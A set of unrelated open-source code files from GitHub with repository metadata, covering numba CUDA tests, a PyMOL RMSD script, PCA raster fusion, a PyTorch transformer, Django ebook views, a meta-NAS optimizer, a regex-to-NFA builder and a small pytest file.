both a positional and keyword argument\"\n self.assertEqual(str(raises.exception), msg)\n\n def check_tuple_arg(self, a, b):\n @guvectorize([(float64[:], float64[:], float64[:])], '(n),(n)->()',\n target='cuda')\n def gu_reduce(x, y, r):\n s = 0\n for i in range(len(x)):\n s += x[i] * y[i]\n r[0] = s\n\n r = gu_reduce(a, b)\n expected = np.sum(np.asarray(a) * np.asarray(b), axis=1)\n np.testing.assert_equal(expected, r)\n\n def test_tuple_of_tuple_arg(self):\n a = ((1.0, 2.0, 3.0),\n (4.0, 5.0, 6.0))\n b = ((1.5, 2.5, 3.5),\n (4.5, 5.5, 6.5))\n self.check_tuple_arg(a, b)\n\n def test_tuple_of_namedtuple_arg(self):\n Point = namedtuple('Point', ('x', 'y', 'z'))\n a = (Point(x=1.0, y=2.0, z=3.0),\n Point(x=4.0, y=5.0, z=6.0))\n b = (Point(x=1.5, y=2.5, z=3.5),\n Point(x=4.5, y=5.5, z=6.5))\n self.check_tuple_arg(a, b)\n\n def test_tuple_of_array_arg(self):\n a = (np.asarray((1.0, 2.0, 3.0)),\n np.asarray((4.0, 5.0, 6.0)))\n b = (np.asarray((1.5, 2.5, 3.5)),\n np.asarray((4.5, 5.5, 6.5)))\n self.check_tuple_arg(a, b)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"0xsmart-dev/Covid-React","sub_path":"numba/cuda/tests/cudapy/test_gufunc.py","file_name":"test_gufunc.py","file_ext":"py","file_size_in_byte":10895,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"72233451149","text":"from pymol import cmd\n\n#To be run from within pymol\n#This script will calculate the RMSD between a file (the root) and all other PDB files.\n#The results will be output to a file with selected Rosetta scoreterms included as well.\n#You can use \"run rmsd_score_table.py\" from the pymol terminal.\n#More likely, you want to run it from the command line, like so:\n#pymol -qc rmsd_score_table.py\n\n#Change these four variables to match your specific case\nrmsdroot = \"pdb_file_to_compare_to.pdb\"\nselector = \"pymol selector for use in the RMSD calculation eg. chain a and resi 1-100 and name ca\"\noutname = \"output_score_table_name.csv\"\nscores = ['total_score','cstE','ligE']\t\t\t#List of score terms to include in the output csv table. These should be exactly as seen in the output PDB footer.\n\n#Initialize a varaible for the header row of scoreterms.\nheader = []\n#Add all of the scoreterms in scores to the header.\nheader.extend(scores)\n#Add rmsd and description to the header.\nheader.append(\"rmsd\")\nheader.append(\"description\")\n\n#Open outfile for writing.\noutfile = open(outname, \"a\")\n#Add the header line to outfile.\noutfile.write(', '.join(header))\noutfile.write('\\n')\n\n#Load the \"root\" PDB file (ie. the file that will be compared to all other pdb files.)\ncmd.load(rmsdroot, \"root\")\n#Iterate over all files in the directory.\nfor filename in sorted(os.listdir(os.getcwd())):\n\t#Initialize the list of scores.\n\tscore_vals = []\n\t#If the file is a pdb file, load it as \"decoy\"\n\tif filename.endswith(\".pdb\"):\n\t\tcmd.load(filename, \"decoy\")\n\telse: continue\n\t#Calculate the RMSD between root and decoy over the atoms specified by selector.\n\trmsd = cmd.rms_cur(\"root and \"+selector, \"decoy and \"+selector)\n\t\n\t#Read the PDB file into lines.\n\tlines=open(filename).readlines()\n\t#Iterate over each scoreterm in scores.\n\tfor score_term in scores:\n\t\t#Going backwards through the PDB file, find the line starting with the current scoreterm.\n\t\t#Exit if the scoreterm isn't found in the file.\n\t\tfor line in reversed(lines):\n\t\t\tif line.startswith('#'):# assumes all score terms are at the end of the file, no comments after them\n\t\t\t\tsys.exit(score_term+\" was not found in \"+filename)\n\t\t\t#Split the line into the term name and the score.\n\t\t\t(this_term, score)=line.split()[:2]\n\t\t\t#If the term matches the desired scoreterm, store the score in score_vals and break (continue to next term).\n\t\t\tif this_term==score_term:\n\t\t\t\tscore_vals.append(score)\n\t\t\t\tbreak\n\t\n\t#Add the rmsd and filename to score_vals to complete that line of the table.\n\tscore_vals.append(rmsd)\n\tscore_vals.append(filename)\n\t\n\t#Add the scores to the outfile using CSV formatting.\n\toutfile.write((', ').join(map(str, score_vals)))\n\toutfile.write('\\n')\n\t#Delete the current decoy to make room for the next one and reduce memory footprint.\n\tcmd.delete(\"decoy\")\n\noutfile.close()\n","repo_name":"BYachnin/Scripts","sub_path":"rmsd_score_table.py","file_name":"rmsd_score_table.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"20691888468","text":"# -*- coding: utf-8 -*-\n# +\nimport numpy as np\nimport pandas as pd\nimport rasterio\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\n\ndef fusionrs(optical, radar, stand_varb = True, nodata = -99999, **kwargs):\n \n '''\n Fusion of images with different observation geometries through Principal Component Analysis (PCA).\n \n This algorithm allows to fusion images coming from different spectral sensors \n (e.g., optical-optical, optical and SAR, or SAR-SAR). It is also possible to obtain the contribution (%) of each variable\n in the fused image.\n \n Parameters:\n \n optical: Optical image. It must be rasterio.io.DatasetReader with 3d.\n \n radar: Radar image. It must be rasterio.io.DatasetReader with 3d.\n \n stand_varb: Logical. If ``stand.varb = True``, the PCA is calculated using the correlation \n matrix (standardized variables) instead of the covariance matrix \n (non-standardized variables).\n \n nodata: The NoData value to replace with -99999.\n \n **kwargs: These will be passed to scikit-learn PCA, please see full lists at:\n https://scikit-learn.org/stable/modules/generated/sklearn.decomposition.PCA.html\n \n Return:\n \n A dictionary.\n \n References:\n \n Tarazona, Y., Zabala, A., Pons, X., Broquetas, A., Nowosad, J., and Zurqani, H.A. \n Fusing Landsat and SAR data for mapping tropical deforestation through machine learning \n classification and the PVts-β non-seasonal detection approach, Canadian Journal of Remote \n Sensing., vol. 47, no. 5, pp. 677–696, Sep. 2021.\n \n Note:\n Before executing the function, it is recommended that images coming from different sensors \n or from the same sensor have a co-registration.\n \n The contributions of variables in accounting for the variability in a given principal component \n are expressed in percentage. Variables that are correlated with PC1 (i.e., Dim.1) and PC2 \n (i.e., Dim.2) are the most important in explaining the variability in the data set. Variables \n that do not correlated with any PC or correlated with the last dimensions are variables with \n low contribution and might be removed to simplify the overall analysis.\n The contribution is a scaled version of the squared correlation between variables and component \n axes (or the cosine, from a geometrical point of view) --- this is used to assess the quality of \n the representation of the variables of the principal component, and it is computed as \n (cos(variable,axis)^2/total cos2 of the component)×100.\n \n '''\n \n for args in [optical, radar]:\n if not isinstance(args, (rasterio.io.DatasetReader)): \n raise TypeError('The arguments A and B must be rasterio.io.DatasetReader.')\n \n if not optical.width != radar.width and optical.height != radar.height:\n raise ValueError('Both optical and radar must have the same dimensions in rows and cols.')\n \n bands_total = optical.count + radar.count\n \n rows = optical.height\n \n cols = optical.width\n \n opt = optical.read(); opt = np.moveaxis(opt, 0, -1)\n \n rad = radar.read(); rad = np.moveaxis(rad, 0, -1)\n \n # stack both images\n st = np.dstack([opt, rad])\n \n # data in [rows*cols, bands]\n arr = st.reshape((rows*cols, bands_total))\n \n # nodata\n if np.isnan(np.sum(arr)):\n arr[np.isnan(arr)] = self.nodata\n \n # standardized variables\n if stand_varb:\n arr = StandardScaler().fit_transform(arr)\n \n inst_pca = PCA(**kwargs)\n \n fit_pca = inst_pca.fit(arr)\n \n pC = fit_pca.transform(arr)\n \n # fused images\n pc = pC.reshape((rows, cols, bands_total))\n \n # variance\n var = fit_pca.explained_variance_\n \n # Proportion variance\n pro_var = fit_pca.explained_variance_ratio_\n \n # Cumulative variance\n cum_var = np.array([np.sum(fit_pca.explained_variance_ratio_[:i]) for i in range(1, bands_total + 1)])\n \n # Correlation between original variables and pc\n df_ori = pd.DataFrame(arr, \n columns = [f'var{i}' for i in range(1, bands_total + 1)])\n df_pca = pd.DataFrame(pC, \n columns = [f'pc{j}' for j in range(1, bands_total + 1)])\n \n def corr(data_frame_1, data_frame_2):\n \n '''This function allows to obtain correlation between two dataFrames'''\n \n v1, v2 = data_frame_1.values, data_frame_2.values\n \n sums = np.multiply.outer(v2.sum(0), v1.sum(0))\n \n stds = np.multiply.outer(v2.std(0), v1.std(0))\n \n return pd.DataFrame((v2.T.dot(v1) - sums/len(data_frame_1))/stds/len(data_frame_1), \n data_frame_2.columns, \n data_frame_1.columns)\n\n corr_mat = corr(df_ori, df_pca).T\n \n # Contributions\n \n def contributions(corr_matrix):\n \n corr2 = corr_matrix.pow(2)\n \n sum_corr2 = corr2.sum(axis = 0) # columns\n \n mat_1d = np.reshape(np.array(sum_corr2), (1,bands_total))\n \n i = 0\n matrix_sum_corr2 = mat_1d.copy()\n \n while i < (bands_total - 1):\n \n matrix_sum_corr2 = np.vstack([matrix_sum_corr2, mat_1d])\n \n i = i + 1\n \n matrix_sum_corr2 = pd.DataFrame(matrix_sum_corr2)\n \n contrib = corr2.div(matrix_sum_corr2.values)*100\n \n return contrib\n \n contri_mat = contributions(corr_mat)\n \n \n results = {'Fused_images':pc,\n 'Variance':var,\n 'Proportion_of_variance':pro_var,\n 'Cumulative_variance':cum_var,\n 'Correlation':corr_mat,\n 'Contributions_in_%': contri_mat\n }\n\n return results\n","repo_name":"ytarazona/scikit-eo","sub_path":"scikeo/fusionrs.py","file_name":"fusionrs.py","file_ext":"py","file_size_in_byte":5972,"program_lang":"python","lang":"en","doc_type":"code","stars":90,"dataset":"github-code","pt":"82"} +{"seq_id":"17005966985","text":"'''\nThe implementation of the transformer block\n\nTraditional self-attention mechanism with softmax\n'''\n\nimport torch\nimport torch.nn as nn\nfrom torch import Tensor\nimport torch.nn.functional as F\nfrom torch.nn.modules.dropout import Dropout\nfrom torch.nn.modules.normalization import LayerNorm\n\nimport math\nimport copy\nfrom typing import Optional\n\nfrom .pos_embedding import AbsolutePosEncoding, \\\n LearnablePosEncoding, \\\n Conv3dPosEmbedding\n\ndef clones(module, N):\n \"\"\"\n Produce N identical layers.\n Args:\n module: the model for copy\n N: the copy times\n \"\"\"\n return torch.nn.ModuleList([copy.deepcopy(module) for _ in range(N)])\n\ndef attention(query:Tensor, key:Tensor, value:Tensor, mask:Optional[Tensor]=None, dropout=None):\n \"\"\"\n Compute the attention between q, k , v\n Input query_size:\n [batch_size, nhead, N, d_k]\n \"\"\"\n d_model = query.size(-1)\n scores = torch.matmul(query, key.transpose(-2, -1)) / math.sqrt(d_model)\n if mask is not None:\n scores = scores.masked_fill(mask==0, -1e9)\n\n score_softmax = F.softmax(scores, dim=-1)\n\n if dropout is not None:\n score_softmax = dropout(score_softmax)\n \n out = torch.matmul(score_softmax, value)\n return out, score_softmax\n\nclass MultihAttention(nn.Module):\n \"\"\"\n Multihead attention implementation\n Args:\n d_model, the number of feature length of the input\n nhead: the number of heads for multihead self attention\n dropout: the dropout value\n Output:\n the result after multiheadattention, same size with input\n \"\"\"\n def __init__(self, d_model:int, nhead:int, dropout:float):\n super(MultihAttention, self).__init__()\n assert d_model % nhead == 0, 'the dimension of feature should be devided by num head'\n self.d_model = d_model\n self.d_k = d_model // nhead\n self.nhead = nhead\n\n self.linears = clones(nn.Linear(d_model, d_model), N=4)\n self.attn = None\n self.dropout = Dropout(p=dropout)\n\n def forward(self, query:Tensor, key:Tensor, value:Tensor, \n src_mask:Optional[Tensor]=None):\n \n if src_mask is not None:\n src_mask = src_mask.unsqueeze(1)\n\n n_batch = query.size(0)\n query, key, value = \\\n [l(x).view(n_batch, -1, self.nhead, self.d_k).transpose(1, 2)\n for l, x in zip(self.linears, (query, key, value))]\n '''\n # Try linear attention here\n x, self.attn = attention(query=query, key=key, value=value, mask=src_mask,\n dropout=self.dropout)\n '''\n x, self.attn = attention(query=query, key=key, value=value, mask=src_mask,\n dropout=self.dropout)\n x = x.transpose(1, 2).contiguous().view(n_batch, -1, self.nhead * self.d_k)\n return self.linears[-1](x)\n\n\nclass SelfAttentionLayer(nn.Module):\n \"\"\"\n SelfAttention layer is made up of multihead self attention and feedforward network\n Args:\n d_model: the number of feature length of the input\n nhead: the number of heads for multihead self attention\n dim_feedforward: the dimension of the feed forward network\n dropout: the dropout value\n activation: the activation function of intermediate layer: relu or gelu\n layer_norm_eps: the eps value in layer normalization\n Output:\n The encoded feature using transformer encoder layer\n \"\"\"\n def __init__(self, d_model:int, nhead:int, dim_feedforward:int, dropout:float=0.1,\n activation=\"gelu\", layer_norm_eps=1e-6):\n super(SelfAttentionLayer, self).__init__()\n self.d_model = d_model\n self.self_attn = MultihAttention(d_model, nhead, dropout=dropout)\n self.linear1 = nn.Linear(d_model, dim_feedforward)\n self.dropout = nn.Dropout(p=dropout)\n self.linear2 = nn.Linear(dim_feedforward, d_model)\n\n self.layer_norm1 = LayerNorm(d_model, eps=layer_norm_eps)\n # self.layer_norm1 = nn.InstanceNorm1d(d_model, eps=layer_norm_eps)\n self.layer_norm2 = LayerNorm(d_model, eps=layer_norm_eps)\n # self.layer_norm2 = nn.InstanceNorm1d(d_model, eps=layer_norm_eps)\n self.dropout1 = Dropout(p=dropout)\n self.dropout2 = Dropout(p=dropout)\n\n if activation == 'relu':\n self.activation = F.relu\n else:\n self.activation = F.gelu\n\n def forward(self, x, src_mask:Optional[Tensor]=None)->Tensor:\n x1 = self.self_attn(x, x, x, src_mask=src_mask)\n x = x + self.dropout1(x1)\n x = self.layer_norm1(x)\n\n x2 = self.linear2(self.dropout(self.activation(self.linear1(x))))\n x = x + self.dropout2(x2)\n x = self.layer_norm2(x)\n return x\n\n\nclass TransEncoder(nn.Module):\n \"\"\"\n The transformer encoder structure\n Args:\n attn_layer: SelfAttentionLayer\n N: the repeat time\n \"\"\"\n def __init__(self, attn_layer, N):\n super().__init__()\n self.layers = clones(attn_layer, N)\n \n def forward(self, x, mask:Optional[Tensor]=None):\n \"\"\"\n repeat the self attention layer N times\n \"\"\"\n for layer in self.layers:\n x = layer(x, mask)\n\n return x\n\n\nclass SelfAtten3DBlock(nn.Module):\n def __init__(self, in_dim, feature_length, d_model, nhead:int, dropout:float=0.3, N:int=8):\n '''\n Here is used to define the connection of skip encoded feature maps\n The transformer block will be only applied on the selected roi region\n return should be the same size with input\n Args:\n in_dim: input dimension from convolution\n feature_length: the feature length for pos_encoding\n d_model: the dimension for the model, use the bottle layer\n nhead: head for multihead attention\n N: attention repeated times\n Output:\n return the reshaped 3d convolutional block\n '''\n super().__init__()\n self.in_dim = in_dim\n self.d_model = d_model\n self.feature_length = feature_length\n self.linear_proj = nn.Linear(in_features=in_dim, out_features=d_model)\n self.linear_back_proj = nn.Linear(in_features=d_model, out_features=in_dim)\n self.pos_encode = AbsolutePosEncoding(max_length=feature_length, embedding_dim=d_model)\n attn_layer = SelfAttentionLayer(d_model=d_model, nhead=nhead, dim_feedforward=d_model, dropout=dropout)\n self.transformer = TransEncoder(attn_layer, N)\n\n def forward(self, x: torch.Tensor, mask:Optional[torch.Tensor]=None):\n '''\n x: Input x size\n [nbatch, channel, height, width, depth]\n Mask:\n [nbatch, 1, height, width, depth]\n '''\n nbatch, _, height, width, depth = x.shape\n x = x.flatten(start_dim=2).transpose(1, 2)\n x = self.linear_proj(x)\n x = self.pos_encode(x)\n if mask is not None:\n mask = mask.flatten(start_dim=2).transpose(1, 2)\n x = self.transformer(x, mask=mask)\n x = self.linear_back_proj(x)\n x = x.transpose(1, 2).reshape(nbatch, -1, height, width, depth)\n return x\n","repo_name":"ohkiliane/nnUNet_Trans","sub_path":"BraTS22_nnUNet/nnunet/network_architecture/custom_modules/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":7261,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"12354297942","text":"from django.shortcuts import (\n get_object_or_404,\n redirect,\n) \n\nfrom django.views.generic.detail import DetailView\nfrom django.views import View\nfrom django.utils.translation import (\n get_language,\n gettext_lazy as _\n)\nfrom django.contrib.auth.mixins import (\n LoginRequiredMixin, \n UserPassesTestMixin\n)\nfrom django.http import Http404\nfrom django.conf import settings\n\nfrom hitcount.views import HitCountDetailView\n\n\nfrom diventi.products.models import Product\n\nfrom .models import Book\n\nfrom .utils import (\n get_paper_filename,\n parse_paper_soup,\n make_paper_toc,\n)\n\n\nclass UserHasProductMixin(UserPassesTestMixin):\n \"\"\" \n This view checks if the user has bought the product\n related to the requested book. \n It assumes to have the slug of the book object available\n in book_slug get parameter.\n \"\"\"\n\n permission_denied_message = _('This book is not in your collection, please check your profile.')\n\n def test_func(self):\n book_slug = self.kwargs.get('book_slug', None)\n book = get_object_or_404(Book, slug=book_slug)\n product = book.book_product\n user_has_bought_test = product.user_has_already_bought(self.request.user) or product.user_has_authored(self.request.user)\n if not user_has_bought_test:\n self.permission_denied_message = _('This book is not in your collection, please check your profile.')\n book_is_published_test = book.is_published()\n if not book_is_published_test:\n self.permission_denied_message = _('This book is not yet available, please check back later.')\n return user_has_bought_test and book_is_published_test\n\n\nclass EbookView(View):\n \"\"\" \n Generic view that manages context data for ebooks. \n It assumes to have the slug of the book object available\n in book_slug get parameter.\n \"\"\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n book_slug = self.kwargs.get('book_slug', None)\n book = get_object_or_404(Book, slug=book_slug)\n context['book'] = book\n return context\n\n\nclass PublicEbookMixin:\n \"\"\"\n Returns the ebook if the product is public, or else it redirects to the default view.\n \"\"\"\n def get(self, request, *args, **kwargs):\n obj = self.get_object()\n product = get_object_or_404(Product, id=obj.book_product.id)\n if product.public and product.published: \n return super().get(request, *args, **kwargs)\n return redirect('ebooks:book-detail', book_slug=obj.slug)\n \n\nclass BookDetailView(EbookView, HitCountDetailView):\n \"\"\" Returns the digital content of a product. \"\"\"\n \n model = Book\n slug_url_kwarg = 'book_slug'\n count_hit = True\n\n def get_queryset(self, **kwargs):\n queryset = super().get_queryset(**kwargs)\n return queryset.published().product()\n\n def get_template_names(self):\n return ['ebooks/book_detail_%s.html' % self.object.template]\n\n\nclass PaperEbookView(BookDetailView):\n \"\"\" Renders an ebook from a paper document \"\"\"\n \n def get_object(self, queryset=None):\n obj = super(PaperEbookView, self).get_object(queryset)\n if not obj.paper_id:\n raise Http404(_('This book is not linked to a paper, please contact the authors.'))\n return obj\n\n def get_template_names(self):\n return ['ebooks/book_detail_quick.html', ]\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n current_lan = get_language()\n context['bought'] = self.object.book_product.user_has_already_bought(self.request.user)\n paper_filename = get_paper_filename(paper_id=self.object.id, paper_lan=current_lan)\n paper_soup = parse_paper_soup(paper_filename)\n # context['paper_title'] = paper_soup.select_one('.ace-line').extract().get_text()\n context['paper_title'] = self.object.title\n context['paper_toc'] = make_paper_toc(paper_soup)\n context['book_paper'] = paper_filename\n return context\n\n\nclass PublicPaperEbookView(PublicEbookMixin, PaperEbookView):\n \"\"\"\n Renders the ebook regardless of the user or their collection.\n \"\"\"\n \n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n related_products = self.object.book_product.related_products.all()\n context['related_products'] = related_products\n return context\n\n\nclass PrivatePaperEbookView(LoginRequiredMixin, UserHasProductMixin, PaperEbookView):\n \"\"\"\n Renders the ebook if and only if the user is authenticated \n and has the product in their collection.\n \"\"\"\n pass","repo_name":"flavoi/diventi","sub_path":"diventi/ebooks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22021103547","text":"import torch\r\nimport numpy as np\r\nimport torch.nn as nn\r\nfrom torch.nn import functional as F\r\nfrom torch.autograd import Variable\r\n\r\nimport pdb\r\n\r\ndef _concat(xs):\r\n return torch.cat([x.view(-1) for x in xs])\r\n\r\n\r\nclass Architect(object):\r\n\r\n def __init__(self, model, args):\r\n self.network_momentum = args.momentum\r\n self.network_weight_decay = args.weight_decay\r\n self.model = model\r\n self.update_step = args.update_step\r\n self.meta_optimizer_theta = torch.optim.Adam(self.model.arch_parameters(),\r\n lr=args.meta_lr_theta, betas=(0.5, 0.999), weight_decay=args.arch_weight_decay)\r\n self.inner_optimizer_w = torch.optim.SGD(self.model.parameters(), lr=args.update_lr_w)\r\n\r\n def _compute_unrolled_model(self, input, target, eta, network_optimizer):\r\n loss = self.model._loss(input, target)\r\n theta = _concat(self.model.parameters()).data\r\n try:\r\n moment = _concat(network_optimizer.state[v]['momentum_buffer'] for v in self.model.parameters()).mul_(self.network_momentum)\r\n except:\r\n moment = torch.zeros_like(theta)\r\n dtheta = _concat(torch.autograd.grad(loss, self.model.parameters())).data + self.network_weight_decay*theta\r\n unrolled_model = self._construct_model_from_theta(theta.sub(eta, moment+dtheta))\r\n return unrolled_model\r\n\r\n def _update_theta(self, x_spt, y_spt, x_qry, y_qry, criterion):\r\n meta_batch_size, setsz, c_, h, w = x_spt.shape\r\n #query_size = x_qry.shape[1]\r\n\r\n #losses_q = [0 for _ in range(self.update_step + 1)] # losses_q[i] is the loss on step i\r\n #corrects = [0 for _ in range(self.update_step + 1)]\r\n\r\n ''' copy weight and gradient '''\r\n w_clone = dict([(k, v.clone()) for k, v in self.model.named_parameters()])\r\n for p in self.model.arch_parameters():\r\n p.grad = torch.zeros_like(p.data)\r\n grad_clone = [p.grad.clone() for p in self.model.arch_parameters()]\r\n\r\n for i in range(meta_batch_size):\r\n for k in range(self.update_step):\r\n # 1. run the i-th task and compute loss for k=1~K-1\r\n logits = self.model(x_spt[i], alphas=self.model.arch_parameters())\r\n loss = criterion(logits, y_spt[i])\r\n\r\n self.inner_optimizer_w.zero_grad()\r\n loss.backward()\r\n self.inner_optimizer_w.step()\r\n\r\n ''' Compute loss of final step '''\r\n logits_q = self.model(x_qry[i], alphas=self.model.arch_parameters())\r\n loss_q = criterion(logits_q, y_qry[i])\r\n ''' Use first-order gradient average '''\r\n self.inner_optimizer_w.zero_grad()\r\n #pdb.set_trace()\r\n for k, v in self.model.named_parameters():\r\n v.data.copy_(w_clone[k])\r\n loss_q.backward()\r\n grad_clone = [k + v.grad.clone() for k, v in zip(grad_clone, self.model.arch_parameters())]\r\n\r\n\r\n # optimize theta parameters\r\n self.meta_optimizer_theta.zero_grad()\r\n for k, v in zip(grad_clone, self.model.arch_parameters()):\r\n v.grad.copy_(k / meta_batch_size)\r\n self.meta_optimizer_theta.step()\r\n\r\n def step(self, x_spt_search, y_spt_search, x_qry_search, y_qry_search, criterion):\r\n self._update_theta(x_spt_search, y_spt_search, x_qry_search, y_qry_search, criterion)\r\n\r\n def _backward_step(self, input_valid, target_valid):\r\n loss = self.model._loss(input_valid, target_valid)\r\n loss.backward()\r\n\r\n def _backward_step_unrolled(self, input_train, target_train, input_valid, target_valid, eta, network_optimizer):\r\n unrolled_model = self._compute_unrolled_model(input_train, target_train, eta, network_optimizer)\r\n unrolled_loss = unrolled_model._loss(input_valid, target_valid)\r\n\r\n unrolled_loss.backward()\r\n dalpha = [v.grad for v in unrolled_model.arch_parameters()]\r\n vector = [v.grad.data for v in unrolled_model.parameters()]\r\n implicit_grads = self._hessian_vector_product(vector, input_train, target_train)\r\n\r\n for g, ig in zip(dalpha, implicit_grads):\r\n g.data.sub_(eta, ig.data)\r\n\r\n for v, g in zip(self.model.arch_parameters(), dalpha):\r\n if v.grad is None:\r\n v.grad = Variable(g.data)\r\n else:\r\n v.grad.data.copy_(g.data)\r\n\r\n def _construct_model_from_theta(self, theta):\r\n model_new = self.model.new()\r\n model_dict = self.model.state_dict()\r\n\r\n params, offset = {}, 0\r\n for k, v in self.model.named_parameters():\r\n v_length = np.prod(v.size())\r\n params[k] = theta[offset: offset+v_length].view(v.size())\r\n offset += v_length\r\n\r\n assert offset == len(theta)\r\n model_dict.update(params)\r\n model_new.load_state_dict(model_dict)\r\n return model_new.cuda()\r\n\r\n def _hessian_vector_product(self, vector, input, target, r=1e-2):\r\n R = r / _concat(vector).norm()\r\n for p, v in zip(self.model.parameters(), vector):\r\n p.data.add_(R, v)\r\n loss = self.model._loss(input, target)\r\n grads_p = torch.autograd.grad(loss, self.model.arch_parameters())\r\n\r\n for p, v in zip(self.model.parameters(), vector):\r\n p.data.sub_(2*R, v)\r\n loss = self.model._loss(input, target)\r\n grads_n = torch.autograd.grad(loss, self.model.arch_parameters())\r\n\r\n for p, v in zip(self.model.parameters(), vector):\r\n p.data.add_(R, v)\r\n\r\n return [(x-y).div_(2*R) for x, y in zip(grads_p, grads_n)]\r\n\r\n","repo_name":"dongzelian/T-NAS","sub_path":"meta_architect.py","file_name":"meta_architect.py","file_ext":"py","file_size_in_byte":5667,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"82"} +{"seq_id":"70541824909","text":"from Node import Node\nclass AFN(object):\n # Clase para construir AFN\n\n def __init__(self, arr, alphabet):\n self.arr = arr\n self.nodes = []\n self.alphabet = alphabet\n self.state = 1\n self.operaciones = ['(', ')', '+', '|', '*']\n\n def changeState(self, state):\n self.state = state\n\n def orOp(self, state, position, accepted):\n self.nodes.append(Node(str(state), [[str(state-1), 'epsilon']], False))\n\n self.nodes.append(Node(str(state+1), [[str(state), 'epsilon']], False))\n self.nodes.append(Node(str(state+2), [[str(state+1), self.arr[position-1]]], False))\n\n self.nodes.append(Node(str(state+3), [[str(state), 'epsilon']], False))\n self.nodes.append(Node(str(state+4), [[str(state+3), self.arr[position+1]]], False))\n\n self.nodes.append(Node(str(state+5), [[str(state+2), 'epsilon'], [state+4, 'epsilon']], False))\n self.nodes.append(Node(str(state+6), [[str(state+5), 'epsilon']], accepted))\n\n def concatOp(self, state, accepted, i):\n self.nodes.append(Node(str(state), [[str(state-1), i]], accepted))\n\n def kleeneOp(self, first):\n for i in self.nodes:\n if i.state == str(first) or i.state == first:\n i.transitions.append([str(self.nodes[-2].state), 'epsilon'])\n\n self.nodes[-1].transitions.append([str(first-1), 'epsilon'])\n \n def positiveOp(self, first):\n for i in self.nodes:\n if i.state == str(first) or i.state == first:\n i.transitions.append([str(self.nodes[-2].state), 'epsilon'])\n \n def parenthesisOp(self, state, position, accepted):\n operacionP = []\n searching = True\n fKleene = False\n fPositive = False\n start = state\n while searching and position <= len(self.arr):\n if self.arr[position] == ')':\n if position+1 == len(self.arr):\n accepted = True\n elif self.arr[position+1] == '*':\n if position+2 == len(self.arr):\n accepted = True\n fKleene = True\n elif self.arr[position+1] == '+':\n if position+2 == len(self.arr):\n accepted = True\n fPositive = True\n searching = False\n\n else:\n operacionP.append(self.arr[position])\n position += 1\n if searching == True:\n print('No se encontro el final del parentesis')\n return\n tempAFN = AFN(operacionP, self.alphabet)\n tempAFN.changeState(self.state)\n pNodes = tempAFN.generateAFN()\n pNodes[-1].accepted = accepted\n for j in pNodes:\n self.nodes.append(j)\n if fKleene:\n self.kleeneOp(start)\n elif fPositive:\n self.positiveOp(start)\n\n def generateAFN(self):\n # Crear nodos\n position = 1\n accepted = False\n self.nodes.append(Node(0, [], False))\n for i in self.arr:\n if i in self.alphabet:\n # Es el ultimo char?\n if position == len(self.arr):\n accepted = True\n if self.arr[position-2] != '|':\n self.concatOp(self.state, accepted, i)\n else:\n # Siguiente posicion\n next = self.arr[position]\n if next in self.operaciones:\n # Seguido por Or\n if next == '|' and self.arr[position+1] in self.alphabet:\n if position+2 == len(self.arr):\n accepted = True\n self.orOp(self.state, position, accepted)\n self.state += 7\n # Seguido por paretnesis\n elif next == '(' and self.arr[position-2] != '|':\n self.concatOp(self.state, accepted, i)\n self.state += 1\n # Seguido por Kleene\n elif next == '*':\n self.nodes.append(Node(str(self.state), [[str(self.state-1), 'epsilon']], False))\n if position+1 == len(self.arr):\n accepted = True\n self.concatOp(self.state+1, False, i)\n self.nodes.append(Node(str(self.state+2), [[str(self.state+1), 'epsilon']], accepted))\n self.kleeneOp(self.state)\n self.state += 3\n # Seguido por positiva\n elif next == '+':\n self.nodes.append(Node(str(self.state), [[str(self.state-1), 'epsilon']], False))\n if position+1 == len(self.arr):\n accepted = True\n self.concatOp(self.state+1, False, i)\n self.nodes.append(Node(str(self.state+2), [[str(self.state+1), 'epsilon']], accepted))\n self.positiveOp(self.state)\n self.state += 1\n # Concatenacion \n elif self.arr[position-2] != '|': \n self.concatOp(self.state, accepted, i)\n self.state += 1\n # Parentesis\n elif i == '(' and self.arr[position] in self.alphabet:\n self.parenthesisOp(self.state, position, accepted)\n elif i not in self.operaciones:\n print('Hay un error en la expresion (' + i + ')')\n break\n position += 1\n #Regresar nodos generados\n return self.nodes","repo_name":"JDiegoS/Proyecto-1-DLP","sub_path":"AFN.py","file_name":"AFN.py","file_ext":"py","file_size_in_byte":5804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36398526689","text":"# -*- coding: utf-8 -*-\n\"\"\"Test random skill values.\"\"\"\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom pynpc.skills import get_skill_value\n\n\n@pytest.mark.parametrize(\n (\"rand\", \"skill\"),\n [\n (0, \"Terrible\"),\n (1, \"Poor\"),\n (2, \"Mediocre\"),\n (3, \"Fair\"),\n (4, \"Good\"),\n (5, \"Great\"),\n (6, \"Superb\"),\n ],\n)\ndef test_normal_choice(rand, skill) -> None:\n with patch(\"pynpc.skills.normalvariate\") as norm:\n norm.return_value = rand\n assert get_skill_value() == skill\n\n\ndef test_normal_choice_boundary() -> None:\n with patch(\"pynpc.skills.normalvariate\") as norm:\n norm.side_effect = [1000, -1000, 0]\n assert get_skill_value() == \"Terrible\"\n","repo_name":"kierun/pynpc","sub_path":"tests/test_skills.py","file_name":"test_skills.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"31321065697","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = 